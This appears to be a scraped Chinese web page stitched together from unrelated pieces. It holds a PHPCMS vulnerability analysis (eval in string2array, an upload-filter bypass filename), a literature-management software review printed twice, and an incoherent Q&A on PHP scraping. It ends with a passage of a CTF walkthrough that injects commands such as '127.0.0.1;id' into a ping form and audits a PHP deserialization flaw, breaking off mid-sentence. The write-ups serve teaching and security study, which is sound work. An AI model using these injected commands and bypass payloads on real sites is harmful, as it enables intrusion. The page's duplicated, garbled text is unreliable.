从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");

}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS
文献管理软件太多不知道用哪个?今天教你怎么管理文献!
网站优化 • 优采云 发表了文章 • 0 个评论 • 82 次浏览 • 2022-07-14 22:54
又一轮毕业季来了,临近毕业的师兄师姐每天在改论文、微信组团打卡中度过。这样还不能激励你们看文献么?
好了我们言归正传。上一篇大家已经知晓了下载文献的各种方法,不管是白猫还是黑猫,能下载到文献的就是好喵~。下载文献只是科研工作者的第一步。接下来,对于文献分类管理和标注就是最重要的一环了。众所周知,文献管理软件有很多,大名鼎鼎的Endnote、Mendeley、Zotero等等……Oh wait,如果你现在还不知道哪个适合你, 那么下面仔细听小编娓娓道来噢。注:最下端的表格对比帮助你更快的选择合适自己的文献管理软件噢!
1. EndnoteEndnote可谓是众多科研人员的心头好了。它是SCl(Thomson Scientific公司)的官方软件,支持国际期刊的参考文献格式3776种,涵盖各个领域的杂志和写作模板。Endnote一个最大的特点就是支持word插件,这对于在word里编辑参考文献,更新编号提供了极大的优势。另外,EndNote的强大之处还在于其自定义特性,通过自定义EndNote的输出格式,滤件和连接论文件。Endnote拥有多种在线数据库以及十分清晰的文献管理页面,导入PDF之后,可以自动获取信息并进行排版。题库样式很全。在知网或其他文献搜索平台下载endnote格式直接导入。然而,Endnote的不足之处在于分组只支持二级目录,批注功能较弱,文件识别速度慢,Label功能只能在排序窗口的中间位置显示Label结果,且不能选择不同Tag,也不时在窗口显示,需要时常保存。不过总体来说,Endnote还是很适合大多数科研人员的,譬如小编自己也在用。下面来一睹真容。(瞧这一目了然的页面谁能不爱呢)
Endnote资源合集:官网:;中文帮助:;Output Styles 下载:;
Import filters 下载:;
Connection files 下载:;
Writing templates 下载:;
科学网EndNote资源大全:(内有视频教程)
;
2.MendeleyMendeley最早是由德国的三个博士开发,后被Elsevier收购的。它是一个在线的学术社交网络平台,可一键抓取网页上的文献信息添加到个人图书馆中;比较适合本地操作和大量PDF的文件管理。社区功能让Mendeley这几年名声大噪。Mendeley的免费下载让很多人欣喜。除此之外,还提供MS Word和Open Office插件,方便在文字编辑器中插入和管理参考文献。支持免费云同步。Mendeley界面稍逊于Endnote(自我感觉)。并且对于国内用户来说有个不好的功能,需要联网登陆才能使用, 在线访问的速度很慢,极大影响体验。
Mendeley资源合集:Mendeley 官网:;Mendeley for Windows:
;Mendeley for Mac OS X 10.6+:
;Mendeley Desktop for Linux:
;Mendeley for iphone,iPod Touch and iPad:
;Mendeley 的使用讲解:;
3. Zotero用Zotero的人员也不在少数。Zotero是一个开放源代码的文献管理软件,其特色之处是可以作为浏览器插件进行使用。本地的Zotero的文献数据库还可以免费上传到Zotero的网络服务器上,不受空间大小限制。相比于EndNote, Zotero最大的特色是无限级的目录分类,一个目录下可以分为多个子目录,这样很便于管理文献。Zotero还支持文献的自定义标签功能,为每个文献自动打上标签。另外,Zotero编辑文档使用外部工具,插件丰富,不存在软件崩溃现象。但是!Zotero的缺点是文献管理、分类方式较单一。必须使用Firefox浏览器。
Zotero资源合集:Zotero 官网:;Zotero for Windows: ;
Zotero for Chrome:;
Zotero for Firefox:;
Zotero for Safari:;
4.CitaviCitavi来自瑞士Swiss Academic Software公司生产的一款文献管理软件,在欧洲被广泛使用,它不仅可以知识管理、任务计划,而且支持PDF原文全文搜索,可以搜索超过4800个图书馆目录和所有主要的信息提供者的数据库。在阅读整理笔记方面,Citavi不仅可以深度整合pdf备注功能,而且还支持创建pdf格式的网页截图噢!
Citavi资源合集:Citavi 官网:;Citavi 官方教程:;
Citavi 中文网站:;
Citavi 6 下载地址:;
Citavi 6 中文论坛:;
Citavi 贴吧:;
5.PapersPapers 是一款Mac平台专业的文献管理工具。它的主要功能包括文献导入、组织、阅读(注释)、自动匹配参考条目,搜索、在文档中插入引用、评点交流等。Papers的一大特点就是支持PDF抓取文献关键信息,支持与iPhone/iPad互联,可以通过云盘方式实现文献多终端阅读。Papers支持六大云盘Box、Google Drive、iCloud、OneDrive、SugarSync、Network file shared。另外,Papers并不是通过Word插件的方式来引用文献,而是通过弹出窗口的方式添加文献。插入引用文献时双击键盘Control键,在弹出的小窗口搜索所需要文献插入即可。总的来说,Papers功能也是很强大的,但是在创建作者名的显示方式、标点的设置方面,还是Endnote更详尽一些啦!
Mac重度使用者必备噢!
Papers资源合集:Papers for mac官网教程:;各种杂志格式的Github的链接:;
6.NoteExpressNoteExpress 是北京爱琴海软件公司开发的一款专业级别的文献检索与管理系统。是一款国产文献管理软件,支持20多种在线搜索数据库,可以很轻松地查找各种数据文献。拥有快速检索的能力,支持数以百计的图书馆数据库和网络电子库。软件分为个人版和集团版两个版本,大部分学校会购买集团版的版权,个人版只能免费试用30天。在官网下载完成后注册账号就可以嵌入word中使用了。NoteExpress对中文文献非常友好、中文杂志的引文格式数量多。可以以题录的方式管理文献。完美兼容WPS,而且全中文界面,操作简单。此外,NoteExpress还提供了重复题目去重、文献校对等功能。想要一款中文版易上手软件的童鞋们可以放心使用NoteExpress!
word插件如下:
NoteExpress资源合集:NoteExpress 官网下载:;NoteExpress图文教程:;优酷教程链接:;
7.JabRefJabRef是一个开放源代码、处理BibTeX格式的文献管理软件,提供了简易操作的界面来编辑BibTeX档案。它的功能包含从网络上的科学数据库汇入资料,以及整理和搜寻 BibTeX 档案等。它的另一大优势是可以使用于各种操作系统,如 Windows、Linux、Mac OS X。
JabRef资源合集:JabRef 主页:;JabRef使用手册:
8.ReadcubeReadCube是个有前途的软件,有着非常强大的搜索功能,它和谷歌学术、PubMed以及Readcube自己的文献库高度集成,可以随时进行搜索,以文献阅读为中心。ReadCube还能根据我们文献库里的文献推荐近期相似的文献,(这个小机灵鬼),可见,它唯一的缺点就是收费了。
ReadCube资源合集:官网:;软件介绍: ;优酷视频教程:;
文献管理软件一览表
软件
Endonte
Mendeley
Zotero
Citavi
费用
付费(250美元),有破解版
免费
免费
免费
文献管理
Word引文插件;标注PDF文件;笔记功能
Word引文插件;PDF文件内搜索;标注PDF文件;跨平台同步;笔记功能
Word引文插件;跨平台同步
Word引文插件;PDF文件内搜索;标注PDF文件;跨平台同步;笔记功能
文献搜索
全文搜索;搜索跨外部数据库
开放数据库;个性化文章建议;读者统计和社区标签;打开Web API;全文搜索;搜索跨外部数据库
打开Web API;全文搜索
开放数据库;个性化文章建议;读者统计和社区标签;打开Web API;全文搜索;搜索跨外部数据库
支持平台
Windows系统;浏览器;Android版;图书馆系统集成
Windows系统;浏览器;Android版;图书馆系统集成;Mac;IOS
Windows系统;浏览器;Mac;图书馆系统集成
Windows系统;浏览器;图书馆系统集成
数据提取
DOI;嵌入式元数据
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
软件
Papers
NoteExpress
JabRef
Readcube
费用
付费(79美元)
付费(学生版198,永久版 698 元)
免费
免费
文献管理
Word引文插件;标注PDF文件;笔记功能
重复题目去重;文献校对;标注PDF文件;笔记功能;标注PDF文件
整理和搜寻 BibTeX 档案
Word引文插件;PDF文件内搜索;标注PDF文件;跨平台同步;笔记功能
文献搜索
全文搜索;搜索跨外部数据库
搜索跨外部数据库
搜索跨外部数据库
开放数据库;个性化文章建议;搜索跨外部数据库
支持平台
浏览器;Android版;图书馆系统集成
Windows系统;浏览器;
Windows系统;Mac;IOS
Windows系统;浏览器;Android版;图书馆系统集成;Mac;IOS
数据提取
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
DOI;引文细节
DOI;PubmedID;引文细节
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
说明
本文内容若存在版权问题,请联系我们及时处理。
欢迎广大读者对本文进行转发宣传。 查看全部
文献管理软件太多不知道用哪个?今天教你怎么管理文献!
又一轮毕业季来了,临近毕业的师兄师姐每天在改论文、微信组团打卡中度过。这样还不能激励你们看文献么?
好了我们言归正传。上一篇大家已经知晓了下载文献的各种方法,不管是白猫还是黑猫,能下载到文献的就是好喵~。下载文献只是科研工作者的第一步。接下来,对于文献分类管理和标注就是最重要的一环了。众所周知,文献管理软件有很多,大名鼎鼎的Endnote、Mendeley、Zotero等等……Oh wait,如果你现在还不知道哪个适合你, 那么下面仔细听小编娓娓道来噢。注:最下端的表格对比帮助你更快的选择合适自己的文献管理软件噢!
1. EndnoteEndnote可谓是众多科研人员的心头好了。它是SCl(Thomson Scientific公司)的官方软件,支持国际期刊的参考文献格式3776种,涵盖各个领域的杂志和写作模板。Endnote一个最大的特点就是支持word插件,这对于在word里编辑参考文献,更新编号提供了极大的优势。另外,EndNote的强大之处还在于其自定义特性,通过自定义EndNote的输出格式,滤件和连接论文件。Endnote拥有多种在线数据库以及十分清晰的文献管理页面,导入PDF之后,可以自动获取信息并进行排版。题库样式很全。在知网或其他文献搜索平台下载endnote格式直接导入。然而,Endnote的不足之处在于分组只支持二级目录,批注功能较弱,文件识别速度慢,Label功能只能在排序窗口的中间位置显示Label结果,且不能选择不同Tag,也不时在窗口显示,需要时常保存。不过总体来说,Endnote还是很适合大多数科研人员的,譬如小编自己也在用。下面来一睹真容。(瞧这一目了然的页面谁能不爱呢)
Endnote资源合集:官网:;中文帮助:;Output Styles 下载:;
Import filters 下载:;
Connection files 下载:;
Writing templates 下载:;
科学网EndNote资源大全:(内有视频教程)
;
2.MendeleyMendeley最早是由德国的三个博士开发,后被Elsevier收购的。它是一个在线的学术社交网络平台,可一键抓取网页上的文献信息添加到个人图书馆中;比较适合本地操作和大量PDF的文件管理。社区功能让Mendeley这几年名声大噪。Mendeley的免费下载让很多人欣喜。除此之外,还提供MS Word和Open Office插件,方便在文字编辑器中插入和管理参考文献。支持免费云同步。Mendeley界面稍逊于Endnote(自我感觉)。并且对于国内用户来说有个不好的功能,需要联网登陆才能使用, 在线访问的速度很慢,极大影响体验。
Mendeley资源合集:Mendeley 官网:;Mendeley for Windows:
;Mendeley for Mac OS X 10.6+:
;Mendeley Desktop for Linux:
;Mendeley for iphone,iPod Touch and iPad:
;Mendeley 的使用讲解:;
3. Zotero用Zotero的人员也不在少数。Zotero是一个开放源代码的文献管理软件,其特色之处是可以作为浏览器插件进行使用。本地的Zotero的文献数据库还可以免费上传到Zotero的网络服务器上,不受空间大小限制。相比于EndNote, Zotero最大的特色是无限级的目录分类,一个目录下可以分为多个子目录,这样很便于管理文献。Zotero还支持文献的自定义标签功能,为每个文献自动打上标签。另外,Zotero编辑文档使用外部工具,插件丰富,不存在软件崩溃现象。但是!Zotero的缺点是文献管理、分类方式较单一。必须使用Firefox浏览器。
Zotero资源合集:Zotero 官网:;Zotero for Windows: ;
Zotero for Chrome:;
Zotero for Firefox:;
Zotero for Safari:;
4.CitaviCitavi来自瑞士Swiss Academic Software公司生产的一款文献管理软件,在欧洲被广泛使用,它不仅可以知识管理、任务计划,而且支持PDF原文全文搜索,可以搜索超过4800个图书馆目录和所有主要的信息提供者的数据库。在阅读整理笔记方面,Citavi不仅可以深度整合pdf备注功能,而且还支持创建pdf格式的网页截图噢!
Citavi资源合集:Citavi 官网:;Citavi 官方教程:;
Citavi 中文网站:;
Citavi 6 下载地址:;
Citavi 6 中文论坛:;
Citavi 贴吧:;
5.PapersPapers 是一款Mac平台专业的文献管理工具。它的主要功能包括文献导入、组织、阅读(注释)、自动匹配参考条目,搜索、在文档中插入引用、评点交流等。Papers的一大特点就是支持PDF抓取文献关键信息,支持与iPhone/iPad互联,可以通过云盘方式实现文献多终端阅读。Papers支持六大云盘Box、Google Drive、iCloud、OneDrive、SugarSync、Network file shared。另外,Papers并不是通过Word插件的方式来引用文献,而是通过弹出窗口的方式添加文献。插入引用文献时双击键盘Control键,在弹出的小窗口搜索所需要文献插入即可。总的来说,Papers功能也是很强大的,但是在创建作者名的显示方式、标点的设置方面,还是Endnote更详尽一些啦!
Mac重度使用者必备噢!
Papers资源合集:Papers for mac官网教程:;各种杂志格式的Github的链接:;
6.NoteExpressNoteExpress 是北京爱琴海软件公司开发的一款专业级别的文献检索与管理系统。是一款国产文献管理软件,支持20多种在线搜索数据库,可以很轻松地查找各种数据文献。拥有快速检索的能力,支持数以百计的图书馆数据库和网络电子库。软件分为个人版和集团版两个版本,大部分学校会购买集团版的版权,个人版只能免费试用30天。在官网下载完成后注册账号就可以嵌入word中使用了。NoteExpress对中文文献非常友好、中文杂志的引文格式数量多。可以以题录的方式管理文献。完美兼容WPS,而且全中文界面,操作简单。此外,NoteExpress还提供了重复题目去重、文献校对等功能。想要一款中文版易上手软件的童鞋们可以放心使用NoteExpress!

word插件如下:
NoteExpress资源合集:NoteExpress 官网下载:;NoteExpress图文教程:;优酷教程链接:;
7.JabRefJabRef是一个开放源代码、处理BibTeX格式的文献管理软件,提供了简易操作的界面来编辑BibTeX档案。它的功能包含从网络上的科学数据库汇入资料,以及整理和搜寻 BibTeX 档案等。它的另一大优势是可以使用于各种操作系统,如 Windows、Linux、Mac OS X。
JabRef资源合集:JabRef 主页:;JabRef使用手册:
8.ReadcubeReadCube是个有前途的软件,有着非常强大的搜索功能,它和谷歌学术、PubMed以及Readcube自己的文献库高度集成,可以随时进行搜索,以文献阅读为中心。ReadCube还能根据我们文献库里的文献推荐近期相似的文献,(这个小机灵鬼),可见,它唯一的缺点就是收费了。
ReadCube资源合集:官网:;软件介绍: ;优酷视频教程:;
文献管理软件一览表
软件
Endonte
Mendeley
Zotero
Citavi
费用
付费(250美元),有破解版
免费
免费
免费
文献管理
Word引文插件;标注PDF文件;笔记功能
Word引文插件;PDF文件内搜索;标注PDF文件;跨平台同步;笔记功能
Word引文插件;跨平台同步
Word引文插件;PDF文件内搜索;标注PDF文件;跨平台同步;笔记功能
文献搜索
全文搜索;搜索跨外部数据库
开放数据库;个性化文章建议;读者统计和社区标签;打开Web API;全文搜索;搜索跨外部数据库
打开Web API;全文搜索
开放数据库;个性化文章建议;读者统计和社区标签;打开Web API;全文搜索;搜索跨外部数据库
支持平台
Windows系统;浏览器;Android版;图书馆系统集成
Windows系统;浏览器;Android版;图书馆系统集成;Mac;IOS
Windows系统;浏览器;Mac;图书馆系统集成
Windows系统;浏览器;图书馆系统集成
数据提取

DOI;嵌入式元数据
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
软件
Papers
NoteExpress
JabRef
Readcube
费用
付费(79美元)
付费(学生版198,永久版 698 元)
免费
免费
文献管理
Word引文插件;标注PDF文件;笔记功能
重复题目去重;文献校对;标注PDF文件;笔记功能;标注PDF文件
整理和搜寻 BibTeX 档案
Word引文插件;PDF文件内搜索;标注PDF文件;跨平台同步;笔记功能
文献搜索
全文搜索;搜索跨外部数据库
搜索跨外部数据库
搜索跨外部数据库
开放数据库;个性化文章建议;搜索跨外部数据库
支持平台
浏览器;Android版;图书馆系统集成
Windows系统;浏览器;
Windows系统;Mac;IOS
Windows系统;浏览器;Android版;图书馆系统集成;Mac;IOS
数据提取
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
DOI;引文细节
DOI;PubmedID;引文细节
DOI;嵌入式元数据;PubmedID和ArxivIDs;引文细节
说明
本文内容若存在版权问题,请联系我们及时处理。
欢迎广大读者对本文进行转发宣传。
php抓取网页数据插入数据库-百度云-云盘同步aws
网站优化 • 优采云 发表了文章 • 0 个评论 • 58 次浏览 • 2022-07-12 06:05
php抓取网页数据插入数据库-百度云-云盘同步aws云文件夹-awsdropbox按节目文件夹或某节目查看带附件或历史文件这些都是实现,简单但有效。sina微博评论打开网页,键入关键词,
那些都是协议,但这些协议都是针对cms的,楼主拿到源代码你也可以把代码放进来自己写,难度很低,只是你的技术实力不够而已,
找到代码,然后自己改造。最快的就是扒客户端源代码。但是也存在各种风险,因为你的代码里面有你自己的东西,别人可能会有很多漏洞去接触这些文件,是自己的文件就要防止被攻破。
云盘什么的都是xml格式的数据,自己写也是可以直接抓的。可以找到其中某一段/storage/cache目录,把它改成regex。复制一下,然后挂载到你的爬虫中即可,完毕。
既然是爬虫的话。像我们公司就是用asp为基础。因为我们公司每天有100多万的发送量。总得找个解决方案啊。
解决这个问题,其实是比较容易解决的。用googlechrome的开发者工具的network标签,查看文件的分布就行了,尤其是url结尾都可以看见。我用googlechrome已经满多年,各种抓取方式基本上都已经摸熟了。google不仅仅提供http接口,还提供https接口,我就用他来抓取很多涉及到服务器的页面。
如果仅仅是想要爬取数据,仅仅是url结尾为“cache/issue”,那么就完全没有必要自己写。有很多现成的抓取工具,比如说云采信和牛牛采信(基于googlechrome的,建议挂vpn使用)。这种服务的好处就是可以一键把数据下发到公司域名的任何一台设备,既省心省事,而且实现起来非常简单。但是,如果你真的想要自己动手的话,可以考虑下这样的思路:比如网上有很多开源的cookiecookie之类的,你需要的是把他们转化为相应的格式,然后让爬虫程序读取。
好处就是可以直接写转化过程的接口,而且直接生成https服务器;坏处就是无法模拟本地浏览器、ip地址或端口,爬虫程序需要写驱动程序从而进行解析,之后再写成https服务器,但是这种方式会比较笨重一些。另外我们公司通过flash来处理httpscookie,不过后来取消掉了。还有你也可以查看看,网上各种抓取数据的教程,里面也是有步骤图的。
不过一旦遇到问题需要用网页地址提交给爬虫工具,工具会识别你的url而不是域名。所以在web浏览器打开爬虫程序的时候你要注意它是否会识别url,如果不识别那就需要爬虫程序进行解析。这些我就不在这里一一赘述了。 查看全部
php抓取网页数据插入数据库-百度云-云盘同步aws
php抓取网页数据插入数据库-百度云-云盘同步aws云文件夹-awsdropbox按节目文件夹或某节目查看带附件或历史文件这些都是实现,简单但有效。sina微博评论打开网页,键入关键词,
那些都是协议,但这些协议都是针对cms的,楼主拿到源代码你也可以把代码放进来自己写,难度很低,只是你的技术实力不够而已,

找到代码,然后自己改造。最快的就是扒客户端源代码。但是也存在各种风险,因为你的代码里面有你自己的东西,别人可能会有很多漏洞去接触这些文件,是自己的文件就要防止被攻破。
云盘什么的都是xml格式的数据,自己写也是可以直接抓的。可以找到其中某一段/storage/cache目录,把它改成regex。复制一下,然后挂载到你的爬虫中即可,完毕。
既然是爬虫的话。像我们公司就是用asp为基础。因为我们公司每天有100多万的发送量。总得找个解决方案啊。

解决这个问题,其实是比较容易解决的。用googlechrome的开发者工具的network标签,查看文件的分布就行了,尤其是url结尾都可以看见。我用googlechrome已经满多年,各种抓取方式基本上都已经摸熟了。google不仅仅提供http接口,还提供https接口,我就用他来抓取很多涉及到服务器的页面。
如果仅仅是想要爬取数据,仅仅是url结尾为“cache/issue”,那么就完全没有必要自己写。有很多现成的抓取工具,比如说云采信和牛牛采信(基于googlechrome的,建议挂vpn使用)。这种服务的好处就是可以一键把数据下发到公司域名的任何一台设备,既省心省事,而且实现起来非常简单。但是,如果你真的想要自己动手的话,可以考虑下这样的思路:比如网上有很多开源的cookiecookie之类的,你需要的是把他们转化为相应的格式,然后让爬虫程序读取。
好处就是可以直接写转化过程的接口,而且直接生成https服务器;坏处就是无法模拟本地浏览器、ip地址或端口,爬虫程序需要写驱动程序从而进行解析,之后再写成https服务器,但是这种方式会比较笨重一些。另外我们公司通过flash来处理httpscookie,不过后来取消掉了。还有你也可以查看看,网上各种抓取数据的教程,里面也是有步骤图的。
不过一旦遇到问题需要用网页地址提交给爬虫工具,工具会识别你的url而不是域名。所以在web浏览器打开爬虫程序的时候你要注意它是否会识别url,如果不识别那就需要爬虫程序进行解析。这些我就不在这里一一赘述了。
php抓取网页数据插入数据库 外壳坚硬的谷子
网站优化 • 优采云 发表了文章 • 0 个评论 • 93 次浏览 • 2022-06-28 22:17
发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)
里面的内容大致的意思是
通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!
那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?
这里还看到了一个被包含的js的文件
点击这个链接 :44441/php.js"
里面的内容大致就是序列化函数,大概率存在序列化操作
先对其页面进行功能化测试,输入127.0.0.1
在结果框中输出了结果
输入一些运营商的DNS的IP地址
结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!
总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)
这个地方是否会存在命令注入漏洞呢?
使用;号,|管道符这样的连接命令,连接一个系统id的命令
如图:没有任何返回
使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据
先把浏览器代理设置好
通过抓取的报文,得到的是一个POST的请求方式;
携带了一个obj的对象和一个ip 的变量要提交到服务端;
其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径
转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了
pingTest :序列化对象定义的的类
1 :代表类中一个数据的提交
ipAddress :类中提交的一个数据的变量名称
s : 代表了序列化
9 : 代表了名称ipAddress 和 127.0.0.1字符串的长度。
这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!
如果觉得burp字体小,可以调的大一些
重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)
在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化
序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;
证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。
转发后,服务端并没有执行该序列化的内容
证明服务端对ip地址这样的格式存在检查机制!
为了弄清这个问题,将这个原始的命令发送请求发送给repeater
url被转换后,在repeater中点击send发送给服务端
在重放的界面中,可以构造一些注入命令;
我在这里添加 | ls ,发现服务端的响应报文有500的状态码
改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏
反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!
那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里
先停止burp的截断功能;
访问浏览器,查看是否有git的版本库文件,结果没有提示
查看.svn 也没有
再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件
再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件
在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)
先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;
再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak
寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)
既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak
查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!
使用kali的文本编辑器mousepad打开该文件
看起来是一个带有php标签的php语言文件;
查看该php源码文件,发现有html标签文件
其中有java脚本文件中的一些序列化操作函数
源码审计分析
class pingTest ---定义了类(反序列化对象的类)
public $ipAddress = "127.0.0.1";--变量名称和赋值
public $isValid = False; -- 校验是失败的
public $output = ""; -- 空值
这是之前抓取的报文中obj对象中有的内容
function validate() {-- 定义了一个函数
if (!$this->isValid) { -- 校验isValid函数是真还是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用过滤器对传入的IpAddress使用方法(使用filter_var进行判断)
$this->isValid = True;--fileter_var函数校验赋值若成功,将这个valid值变为True
}
}
$this->ping(); -- 执行Ping的命令;
}
public function ping() -- 以下是ping 的命令函数具体操作内容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 执行内容就是使用ping 三个报文;
这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;
当post请求接收到来自obj请求的赋值时,进行一个解码的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解码
} else {
$pingTest = new pingTest; -- 新的赋值
}
$pingTest->validate(); --调用vali
